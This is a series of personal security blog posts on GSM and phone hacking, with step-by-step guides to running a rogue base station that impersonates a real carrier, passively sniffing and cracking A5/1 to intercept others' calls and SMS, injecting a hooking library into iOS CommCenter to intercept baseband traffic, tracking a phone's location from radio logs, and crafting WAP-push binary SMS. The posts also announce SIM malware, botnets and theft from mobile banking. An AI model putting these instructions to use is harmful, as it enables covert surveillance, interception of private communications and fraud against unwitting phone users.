Wednesday, April 6, 2016

Using Typhon OS and an OsmocomBB phone to create a RogueBTS (Rogue GSM Base Station) IMSI catcher

Requirements:

OsmocomBB compatible phone (Motorola c113/115/118/123)
CP2102 cable (can be found here)
TyphonOS (read this is you havent, or directly head to downloading)

Setup:

Boot up the OS(live or install)


All the softwares referenced here are already installed.

To run an OsmocomBB application on the phone, you must first find out what interface your CP2102 cable is connected to. Run this command:
dmesg | grep tty

If you want to run it on ttyUSB0 (and I propose that you do) remove all USB devices and plug the CP2102 cable in first. The CP2102 cable will automatically move to /dev/ttyUSB0. To run it on other interfaces, modify the firmware upload string appropriately.

You can now upload firmware on the phone and observe output.
 From the /rf/osmocom-bb/src/host/osmocon/ directory, run:

sudo ./osmocon -d tr -p /dev/ttyUSB0 -m c123xor –c ../../target/firmware/board/compal_e88/rssi.highram.bin

Then, with the phone powered off, press the power button once briefly and wait for the firmware to load onto the phone.
As it loads, the screen output should look like this:















RSSI stands for Received Strength Signal Indicator and is can be used to identify the strongest ARFCN in the area. This is important as the BTS needs to sync with the strongest legitimate BTS in order to receive configuration information.


Once done exploring the RSSI app, there are plenty more applications that you can run which are beyond the scope of this document. However, feel free to explore them to further your understanding on the OsmocomBB platform.

Running

After installing everything, we can now run the full system.
Plug in the calypso phone with the CP2102 cable, and ensure that it is on ttyUSB0 before proceeding. Note: Charge the phone to its fullest as the power cable interferes with transmission.
From the /rf/osmocom-bb/src/host/osmocon/ directory run the trx application with the following code (on one line):

sudo ./osmocon -p /dev/ttyUSB0 -m c123xor -c ../../target/firmware/board/compal_e88/trx.highram.bin ../../target/firmware/board/compal_e88/chainload.compalram.bin


Then press the power button on the phone briefly to load the application.

From the /rf/public/smqueue/trunk/smqueue directory run the smqueue application with the following code:

sudo ./smqueue

From the /rf/public/subscriberRegistry/trunk directory, run the sipauthserve application with the following code:

sudo ./sipauthserve

Finally, from the /rf/public/openbts/trunk/apps directory, run the OpenBTS application with the following code:

sudo ./OpenBTS

After a few seconds, the OpenBTS terminal (top right) will look like this indicating that syncing has taken place and it is transmitting:



Figure 15 - Running TRX, smqueue, sipauthserve and OpenBTS


If you had set your MCC and MNC to that of a legitimate network operator, the 2G phones in the area will begin connecting to your fake base station. If you left it as the default then you will see a name either “Test” or “Range” or "Safaricom [this is not legal by the way assuming you spoofed the name too]" when perform a manual search on your phone.



The above setup creates a fakeBTS (IMSI catcher) and works as a spoofed Mobile Network.
On the next setup we will work on how to send SMSs and even spoof some messages alphanumeric address and all.


Monday, April 4, 2016

Typhon OS

Typhon OS is an operating system rebuilt from the popular debian distro Ubuntu, it contains several tools for penetration testing specifically SIGINT this tools can be used for the following:

GSM research/security/penetration testing > this includes anything using GSM as a module of communication e.g Mobile Phones/ Mobile Networks/ GSM Modems / ATMs and other IOT
Satellite Communication/ Security/ Research
Radio (as long as you have the right SDR, multiple tools on typhonOS exist to allow use of the SDRs, such as BladeRF, HackRF, OsmocomBB, RTL-SDR etc) radio examples include AM/FM radio, Police Radio/Walkie Talkies etc.

TyphonOS is not the most graphical OS created as most of the applications are not GUI oriented, however, most tools have been documented on Google and I find no reason to reinvent the wheel with information, I will however point paths to the tools.

Depending on your OS version 1&2 (currently exist)

/RF or /typhon would be the location to all tools installed

In this folders you will find the all the tools necessary.
On live environments, the default username would either be syn and password typhon, or vx and password vx , depending on the version you have.

Using the OS on a VM would require a tier 1 VM , such as VMware family: player,fusion, workstation as they integrate best with the USB-Serial connections.

find TyphonOS here or alternative link

Have fun, for educational purposes only.

Monday, March 28, 2016

γύρισα

It has been quite a while since I updated this blog, however, much has been done during the last two years, I have :


Worked on a few projects :

Typhon: a Linux Operating System based on Ubuntu, with several SIGINT tools
The German AutoMobile Hack: Took time to consult for a very good company which has now taken me in as one of their own, We did a thorough PenTest of an AutoMobile hence securing it.
The MNO invite: Met up with one of the leading MNOs in Kenya and gave them directives on how to better their security on Mobile Money.
The 'Secure' Mobile Phone Tested: Took time to research on the vulnerabilities of the mobile phone known to be one of the most secure (and expensive) the CryptoPhone.
Testing and Developing for the Cellular Privacy Project: Tested and developed for the Cellular Privacy Project an android based BaseBand FireWall (aka AIMSICD)
Developing FrameWorks for iOS(private contractor)
Testing and Developing on the BRCK: Testing the security loopholes on the BRCK and more so, developing applications for it.


Currently adding more technologies on my mind bank and learning even more, I have been a little bit silent however not without reason , I feel I had given this blog so much to not restart it without a few mentions of what I have been up to also travelling and learning a little about myself, which is an R&R by itself.

I shall be updating the blog in a few days if not hours, In all this, I hope to maintain the flow over a longer period of time, Kind Regards.

Vx

Friday, February 27, 2015

SIM CARDS >> They are really Tiny Micro-Computers (computers *insert Grin*)

So :), like most of you know so far, GSM phones use SIM cards that is Subscriber Identity Module Cards, this are used by the operator to create a distinction of users (sort of like a user profile holder) they also communicate to the phone via the baseband via the network (ok not necessarily in that order everytime) but something like that.

Now, SIM cards :)

Microchips that have RAM, Processors, ROM (EPROM) and an OS at that :) , (I know so cool)
So, Structures of a SIM Card (Application Wise)


(Hardware Wise)


So this, this is a tutorial to SIM card (Java Card) applications, Java Card Programming and JavaCard Security

so um, I think so far i have narrowed down the topics we about to cover.


  • How to program SIM cards
  • JavaCard setup
  • Tutorials

  • finding Vulnerabilities in SIM cards
  • creating a SIM card level malware/virus
  • Uploading/installing on SIM cards (i wanna show you how to do that remotely)

  • C&C to control the malware
  • Botnets of SIM cards (Xtian the geek will love this)
  • Causing mayhem (ahoy mr, should I really tell ok, Stealing from M-banking applications , spoofing, DOS, MITM (calls and data) 

BASEBAND ... Stalking you and dating you

So I have numerously given hints and tutorials on how to attack basebands, now for this little trick (hack) research, I will require a mobile phone (after all which or what is the best way to attack a baseband [read do research])

PS: most of the research is collaboration from I and a very good researcher Fabien Ansglard whose done most of the coding you see here)

Now as I explained theres 3 computers (systems) on a 'smart' phone , well

-----The Smart (read in this context ANDROID/iOS)
-----The Phone (read in this context Baseband)
-----The SIM (duuuh)

now, superbly we have two phones that we love to break into (kernel level) by rooting and jailbreaking that is android and iOS respectively,

so we go for iOS first, we break down the structures:





A kernel module exposes the serial line over an UNIX pseudo-terminal in the /dev folder. On Androids there is only one pseudo terminal: /dev/smd0 but on iPhone the UART is divided by a kernel module and several pseudo-terminals are exposed: /dev/mux.h5-baseband.reg/dev/dlci.h5-baseband.call or/dev/dlci.h5-baseband.sms. The user land process can then open any terminal and perform I/O commands with simple read and write.


then here we go to android:




now this is the method most unlocks rely on,  you get inside the baseband and check how a specific model allows certain MNC & MCCs , now, since we are not really going for that, we just wanna play MITM between the OS and the modem OS control what goes into the phone and into the OS :)

How libraries are loaded (theory)



In MacOS X/Linux, programs are stored on hard-drive with missing parts referencing methods and functions from bigger libraries (libc,zlib,...). Only when they are started the missing symbols are linked, it is called dynamic linking and it's done by ld on Linux and dyld on MacOS X:


  1. After a new process is forked an execv occurs, the program is read from hard-drive and different sections are loaded in RAM, .data is loaded into "read only" pages while .text and a stack is created with "read and write" pages.
  2. Note: In the drawing .data's pages are mapped starting at 0x00000000 but in reality this is reserved so you get a nice "segmentation fault" upon de-refencing a null pointer.
  3. Once the program's different section are all in pages, the kernel reads which loader should be used and integrate it in the process address space. The loader is usually already resident in memory somewhere on the system so it is not loaded from hard-drive but mapped by adding an entry in the progress's page table. Execution control is them transferred to the loader, passing via parameters where the different program sections are.
  4. The loader reads the missing symbols names and search for them in the default libraries.
  5. The libraries are usually also resident in memory so there is no need to read them from the hard-drive. They are mapped in the process address space via the process's page table and symbols resolution occurs. If all symbols are resolved, execution of the program can begin.
Note that the loader is performing symbols resolution (intercepted by our library) at launchtime. The interceptor library then uses the loader to create a hook atruntime.

It is not complicated to do:
  • Write a library with function prototype matching the one you want to intercept (let's say: void *malloc(size_t size))
  • Compile as a shared library
  • Instruct the loader to lookup this library before anything else:
  • On linux this is done via the LD_PRELOAD environment variable.
  • On MacOS X it is slighty different because lyld uses a two-level namespaces ( a symbol not only features a method's name but also the name of the library) hence you have to specify the name of your interceptor library via DYLD_INSERT_LIBRARIES but also instruct lyld to use a flat lookup system via DYLD_FORCE_FLAT_NAMESPACE

Of course to make the program run you also have to get a hold on the "real" function via dlsym(RTLD_NEXT, "malloc") and relay the call so everything is transparent to the program.

Dummy source code (malloc_interposer.c):
 #include <stdio.h>
   #include <dlfcn.h>
   #include <sys/types.h>
   #include <sys/stat.h>



   void *malloc(size_t size)
   {
      static void * (*func)();

  
      if(!func)
         func =  dlsym(RTLD_NEXT, "malloc");


      printf("malloc(%d) is called\n", size);     
      return(func(size));
   } 



Compilation :
   $: gcc -D_GNU_SOURCE -rdynamic -shared malloc_interposer.c -o /lib/malloc_interposer.so.1.0 -ldl

 

Execution :
   $: LD_PRELOAD=/lib/malloc_interposer.so.1.0 cat /dev/null

   malloc(20) is called

 

Library preloading & Method interposition: Practice

While the method described previously works very well on Linux, MacOS X tend to behave poorly when you flatten the lookup system of lyld. Luckily there is an other way to place a hook on MacOS X and this method is described in Amit Singh's gem: MacOS X Internals as method interposition:

By placing a special sub-section __interpose in the data portion of the executable, dyld will perform all the interceptions automatically. Here is an example hooking open,close,write and read.
  
 static const interposer_t interposers[] __attribute__ ((section("__DATA, __interpose")))=
 {
  { (void*)my_open, (void*)open },
  { (void*)my_close, (void*)close},
  { (void*)my_read, (void*)read},
  { (void*)my_write, (void*)write},
 };

 
 int my_open  (const char* path, int flags, mode_t mode){..}
 int my_close (int d){..}
 int my_read  (int  handle,  void  *buffer,  int  nbyte ){..}
 int my_write (int  handle,  void  *buffer,  int  nbyte  ){..}


 
With this trick, it was easy to identify the pseudo-terminals used by placing a hook on open and close. Then hook read and write. The tracing is performed by maintaining a mapping between file descriptor returned by <fcntl.h> and FILE*'s . Here is the resulting source code: fdinterceptor.c and a zip containing a plist and the script to inject: inject.zip.


Toolchain in action:
   // Build the tools
 $ cd /Developer/Platforms/iPhoneOS.platform/Developer/usr/bin
 $ gcc-4.2 -arch armv6 -dynamiclib -isysroot ../../SDKs/iPhoneOS3.1.3.sdk -o fdinterceptor.dylib fdinterceptor.c


 // Send the tools
 $ scp fdinterceptor.dylib injectCommCenter.sh com.apple.CommCenter.plist root@192.168.1.103:/tmp


 // Jump in and inject
  $ ssh -l root 192.168.1.103
 # cd /tmp
 # ./injectCommCenter.sh


Notice that injection is performed via a script injectCommCenter.sh:
 cd /System/Library/LaunchDaemons/
 cp com.apple.CommCenter.plist com.apple.CommCenter.plist.vanilla
 cp /tmp/com.apple.CommCenter.plist /System/Library/LaunchDaemons/com.apple.CommCenter.plist

 launchctl unload -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist
 launchctl load -w /System/Library/LaunchDaemons/com.apple.CommCenter.plist

 cp com.apple.CommCenter.plist.vanilla com.apple.CommCenter.plist


The launchctl lines are not very interesting as they merely unload and reload the CommCenter deamon. But what is done before and afer is a bit more worth mentioning: Because the CommCenter not only handles the modem but also the WIFI connection, once you unload the CommCenter your SSH terminal will HANG. You are literally sawing off the branch you are sitting on. It is hence a necessity to script the re-loading....but there is more:

Because we modified the plist and it is saved on hard-drive: if we have a bug in our interceptor library we may potentially brick the device and require a full DFU restore ! So in order to take into account a worse case scenario the script also remove the interceptor library from the plist, this way the device can restart safely: This is just an idiot proof security.


Results:


Booting
 [send] at   # Modem Are you there ?
 [send] at
 [send] at
 [send] at
 [recv] AT   # Yes I am !

 [send] ate0   # Set modem to "no echo" mode
 [recv] ate0 OK

 [send] at+cmee=1  # Require error code to be returned as code (opposed to verbose at+cmee=2)
 [recv] OK

 [send] at+ipr=750000  # Set the terminal speed
 [recv] OK

 [send] at+xdrv=0,41,25  # Call method 41 on device 0 (speakers)
 [recv] +XDRV: 0,41,1,0
 [recv] OK
     RV: 0,41,1,0
 
 [send] at+xtransportmode # Switch to binary code instead of commands
 [recv] OK

 [send] at+cscs="HEX"  # Set the TE character set to HEX
 [recv] OK

 [send] at+xthumb?
 [recv] +XTHUMB: "1E2834B6CE739AB36EF9454B7997FCD30208398C","E93B43F3EF6DAED516A2D4B9BAD5494DC81E92D3"
 [recv] OK

 [send] at+xgendata          # Request modem's firmware description
 [recv] +XGENDATA: "","DEV_ICE_MODEM_04.05.04_G","EEP_VERSION:208","EEP_REVISION:1","BOOTLOADER_VERSION:3.9_M3S2"
 [recv] OK

 [send] at+xdrv=10,2   # Call a function for a device, format is at+xdrv:deviceId,functionId,params ...
 [recv] :+XDRV: 10,2,0
 [recv] OK

 [send] at+xl1set="psvon"

 [send] at+cmux=0,0,0,1500 # Set the multiplexing mode 
 [recv] OK

 [open] '/dev/dlci.h5-baseband.call'
 [open] '/dev/dlci.h5-baseband.reg'
 [open] '/dev/dlci.h5-baseband.sms'
 [open] '/dev/dlci.h5-baseband.low'
 [open] '/dev/dlci.h5-baseband.pdp_ctl'
 [open] '/dev/dlci.h5-baseband.chatty'
 [open] '/dev/dlci.h5-baseband.pdp_0'
 [open] '/dev/dlci.h5-baseband.pdp_1'


 # The rest of the registration occurs in /dev/dlci.h5-baseband.reg
 # The two main used pseudo terminal after this are of course /dev/dlci.h5-baseband.call 
 # and /dev/dlci.h5-baseband.sms
 
Receiving a (fictional) SMS:
 

 # Receiving an unsollicited text message (AT+CMT). 

 [recv] AT+CMT=10307919127163385F901000B914161387976F0000066C8721E640C8B592090F28D76838661793B3C5E83D
      0657959079AD2D36C3628EDA697E5E539BD4C06A5DD203A3A3D07C1DFF3343DFD76837E202ABA0E92C1E86850339C0
      7C96031180846D3C9642ED80C046F8350C72675154B01


Text message are PDU encoded, you can find plenty of online decoder. Here is the plain text version
 SMSC:   +19726133589
 Receiver:  +1416839XXXX
 Payload:  Hey Fab,  John Carmack here: Still interested in this position ? Thu 20th May 2010 04:22.03PM



Receiving a call :
 
 
 [recv] RING     # Trigger the phone to ring
 [recv] +CLIP: "",128,,,,2   # No caller ID :/ !
 [recv] +XCALLSTAT: 1,4
 [recv] RING[recv] +CLIP: "",128,,,,2
 [send] ata     # Local user decided to accept the incoming call
 [recv] +XCALLSTAT: 1,0    # Reporting call status is enabled (1), voice is active (0)
 [recv] OK
 [recv] +XCALLSTAT: 1,6    # Reporting call status is enabled (1), voice is disconnected (6)
 [send] at+ceer     # Local user hang up
 [recv] NO CARRIER    # Connection is indeed terminated from the other hand
 [recv] +CEER: "Release","Normal call clearing" #Collect informations on call
 [recv] OK

Note : I was surprised to find RING command notifications note only in the call channel but also in the sms channel but it actually makes a lot of sense when connect to EDGE/GPRS: Since text message and call are not supported simultaneously the sms pseudo-terminal must remain silent during a call.

now i will put up part2 where i will give the code capable of MITM

Monday, December 8, 2014

SMH here , guess who i mean what << Tracking Android Phones [NO APP] (part 1)

So today I got a rather exciting email, someone (not a regular client / they still state i shouldn't disclose their identity) anyway, they actually gave me consent to publish my methods (per say)

Now heres the conundrum, police shoot down a robber can't question him especially on where his other pals are/ his locations etc, so on and so forth ... So who they call :) regular old* me, why cant they get all this information from a mobile service provider? well apparently it takes time and thats what they want to save on,

So:
Challenge > Track a victims location/hideout/commonly visited places (without target moving with phone, while having targets phone) << well this was going to be fun, and probably difficult , noting that this was not GPS, and no GPS app was running on the android phone, so..... here we go.

The advantage is I had the victims phone, though this was just a tip of the ice berg:

So what do we have to do,

Track a phone with no tracking application, and entirely not on the process of moving around.

So a googling my ass off I came a cross a method Google/Android uses to find the location of a user especially when searching for content using the android OS, this API not known to many even the documentation is a little frail is also quite confidential so Reverse Engineer it? (too much work, so less time)

So while googling I come across this useful piece of info that some logs are contained on the phone that just require a little tweaking to show quite alot :) , so I go at it here are some from my phone,



so next command is pretty much easier done on a computers console via adb
 heres the command.


# cd /dev/log ; for f in *; do logcat ­b $f ­g; done


# hexdump ­C radio | head




# logcat ­v time ­b radio ­d ­s RILJ:D

Now, I will break this commands down for you, but for now, we managed to get LACs from the 3rd command, LAC is a mapping coordinate for BTSs this is unique for every BTS, such as a cell phone has its unique MSISDN a BTS has the following MCC,MNC,LAC and CIDs :)

Now for a small show of what we have (this image is borrowed the real images will be uploaded pending finalizing of the criminal activity burst)



So , in the next part, I will show you how to map the following location with affordable equipments :)
by the meantime :) have more fun , source of reference by the way, "Cheap mans GPS"

Tuesday, December 2, 2014

GSM Hacking Tools {arg: Voice and SMS}

Hacking GSM and phones in general is my passion, and most of all fixing the issues posed is an even better indulgence for my company and I, so here is a tool(s) to do recon, capture Voice/SMS data from the Um (Air interface - BTS and Phone) and breaking the encryption used (A5/1 - used by around 80% of telcos in the world) and passively listening to someones conversations ...  so enough chit chatter .. here are the sources ( p.s this was an outdated project that i took upon to continue with as the project masters gave up on it :( ... however, am hoping to integrate it to my OS (typhon) that includes a full RF hacking and research tool kit)

This is the structure of the tools attack method:




the above setup allows 8 channels sniffing, and will cost around 400 USD, this is a passive GSM sniffer and should be used only in a controlled environment. The tool includes an optimized keystream guesser “napalmex” (peaking at 99% success rate on insecure networks and with approx. 50% success rate even on secured networks), now again chit chatter.

here is the github source page: typhon-vx

so, setup procedure :

***

 What you will need

  + A recent Linux distribution (tested Debian Wheezy and Fedora on x86 and amd64)
  + An osmocom-compatible phone (Motorola Cxxx) or modem (openmoko/freerunner) and serial interface to it
  + Wireshark 1.8.0 or newer
  + ~600 MB of disk space
  + some good skills

It would be nice to have
  + More phones
  + Uplink filters removed
   Phones have bandpass filter that they don't receive uplink well (only 10-30m).
    http://bb.osmocom.org/trac/wiki/Hardware/FilterReplacement or here
  + Access to a fast A5/1 cracker (demand 1s/burst throughput and 10s latency :)
    It is possible to do some work on desktop with 2TB harddrive, but it's extremely slow.
  + Genuine brmbora™ hardware with Next-Businness-Day support (or a typhon-Box << coming soon)

The compilation of all sources will take several minutes on a modern Core i* computer or 2 hours on Intel Atom netbook.

***

 OsmocomBB firmware

http://bb.osmocom.org/trac/wiki/GettingStarted

  + Install ARM toolchain. The phone is an arm, so we will cross-compile on our x86.
  + git clone git://git.osmocom.org/osmocom-bb.git
  + git checkout sylvain/burst_ind
    this branch has patched DSP so it allows us to sniff traffic off-the-air
  + make

***

 Installing other tools

  + Copy mysrc/.omgsm to ~
  + edit ~/.omgsm/config and ~/.omgsm/phones
    GSMPATH=path to this
    GSMDEFSESSION=where sniffed data are stored (usually several MB per hour)
    GSMMAXCELLS=when scanning for BTS, pick N strongest
    GSMKRAKENHOST,GSMKRAKENPORT=where your A5/1 cracker lives
      they tend to listen only on localhost, so try ssh -L 6666:localhost:6666
    GSMBRMBORACTL=where brmbora™ conTROLLer is
      leave blank if you don't have a brmbora™ genuine device and order on at shop.brmlab.cz
    GSMSESSION=current session, will be set automatically on first run
  + cd mysrc; make
  + Kraken will tell you the secret state at some round of A5/1 keystream generator. You need something to backclock (revert and extract original key) the cipher. Use find_kc from Kraken-Utilities patched with our version to support uplink.
    git clone git://git.srlabs.de/kraken.git
    cd kraken/Utilities
    cp mysrc/find_kc.cpp .
    make find_kc
    deposit the binary to GSMPATH/kraken/Utilities/

***

 Initializing hardware

Check scripts in bin/
  + gsm_init_hw.sh
  + Without a brmbora™ genuine device you need to press button on your phone.
  + You should see the firmware loading. The correct output should have the following features:
     Received PROMPT1 from phone, responding with CMD
     read_file(../../target/firmware/board/compal_e88/hello_world.compalram.bin): file_size=27192, hdr_len=4, dnload_len=27199
     Received PROMPT2 from phone, starting download
     handle_write(): finished
     Received DOWNLOAD ACK from phone, your code is running now!
     LOST nnnn!
    If it got stuck before the "LOST" message, try again. Contact your brmbora™ authorized reseller in case of problems.

***

 Initianing a new session, scanning BTS

  + gsm_bts_scan.sh

***

 Investigating the SESSION direstory

arfcn    - what channels we will sniff on
new/     - captured data
tmsi2bursts.txt - phones seen on air and their data

***

 Start sniffing

gsm_start_sniff.sh

Some .dat files should appear in SESSION/new/. They are usually 5-15 kB each.

FIXME We now have better sniffer using master-slave architecture useful if you have 4+ phones. See bin/gsm_spawn_master_slave.sh for more info.

***

 Viewing sniffed data with Wireshark

iptables -A INPUT -p UDP --dport 4729 -j DROP
# we will send dummy packets and kernel will reply with ICMP port unreachable

start Wireshark on localhost

gsm_convert -f SESSION/new/file-to-view.dat -d
will convert data to GSMTAP frames and send them to Wireshark

Some packets should appear in Wireshark: http://bb.osmocom.org/trac/wiki/WiresharkIntegration

***

 Cracking your own data from your very own phone of course!

Use napalmex.py for a statistical keystream guesser with up to 100% efficiency on less-secure networks and ability to crack about 50% of traffic even on secure networks!

***

 Viewing cracked data

start Wireshark on localhost

gsm_convert -f SESSION/new/file-to-view.dat -k KEY

Interesting .dat files are the bigger ones (10kB). Interesting frames are "GSM-SMS CP-DATA".
See gsm_evenlog.sh for tips how to extract phone numbers, SMS messages etc.
See this link for guessing which types of communication are in the file even before it is cracked:
http://jenda.hrach.eu/brm/sms_analysis.png
P.S an acknowledgment to the original creators at brmlab kindly check out their superb projects, p.p.s modify it all you can :)

Monday, November 17, 2014

BINARY SMSs [PART 2] that cool thing you dint know SMSs could do

Find the XML structure of the message to be sent


Here’s a sample one, I will add the references on how to find the basic XML structure and where to find them,

<?xml version="1.0"?>
<!DOCTYPE si PUBLIC "-//WAPFORUM//DTD SI 1.0//EN" "http://www.wapforum.org/DTD/si.dtd">
<si>
<indication href=http://blog.0x7678.com/ si-id="bin">
hack random
</indication>
</si>


Now to convert to WBXML

HexCode                                                                                                  Meaning
02                                                                                                             WBXML Version 1.2          
05                                                                                                              SI 1.0 Public Identifier  
6A                                                                                                             Charset UTF-8        
00                                                                                                              String table length =   0   
45                                                                                                              <SI>                     
C6                                                                                                             <indication>   
0C                                                                                                              href=”http://     
03                                                                                                              String starts
* 7777772E6465762E6D6F62692F69735F66756E2E68746D6C          www.0x7678.com
00                                                                                                               String ends
07                                                                                                       Action attribute (signal – medium)
01                                                                                                       Ends of attributes, now the content
03                                                                                                       String starts
* 446576446F744D6F62692069732046756E2021                          hack random
00                                                                                                       String ends
01                                                                                                               </indication>
01                                                                                                               </SI>                      

* These are strings used to pass contents to the SI, each character in the string is converted to its hexadecimal representation.
** “6532” is to be considered a string of characters and not a number, so don’t use the calculator to convert this number

Our body is, putting all the numbers together:

02056A0045C60C037777772E6465762E6D6F62692F69735F66756E2E68746D6C0<br/>011033635333200070103446576446F744D6F62692069732046756E2021000101

(which is 130 chars)


PREPARE THE UDH
Preparing the UDH is pretty easy. Just start with “06 05 04” and then add the port numbers. Eg WAP push messages uses “destination port” 2948 while source port is 9200. Convert decimal port numbers to hexadecimal formats, so 2948 becomes 0B84 and 9200 becomes 23F0. Magically, the UDH is : 06 05 04 0B 84 23 F0

SENDS THE SMS AND THE UDH

Now, what you need to do with this? Pretty simple, just put everything together and the SMS is ready to be sent.

                                    <UDH> + <BODY>

UDH: 06 05 04 0B 84 23 F0<br/>BODY: 02056A0045C60C037777772E6465762E6D6F62692F69735F66756E2E68746D6C0
The complete message is then:
<span><strong>0605040B8423F0</strong><br/>02056A0045C60C037777772E6465762E6D6F62692F69735F66756E2E68746D6C0<br/>011033635333200070103446576446F744D6F62692069732046756E2021000101
Which is 137 chars long (hey, it’s a binary SMS, and my favorite language Java uses UTF-8 encoding for binary messages, so the limit for 1 SMS is 140 chars, aren’t we cool?)

For now that’s what I will teach, this however is a beginning to something bigger such as the OpenBTS am optimizing by adding binary SMS support.

NB: the above WBXML is only an example the converted WBXML is not as on my blog (for security purposes, link to original document can be found from the decoded wbxml :) cheers)


ARCHIVED

:) No longer posting, all articles should be treated as archived and outdated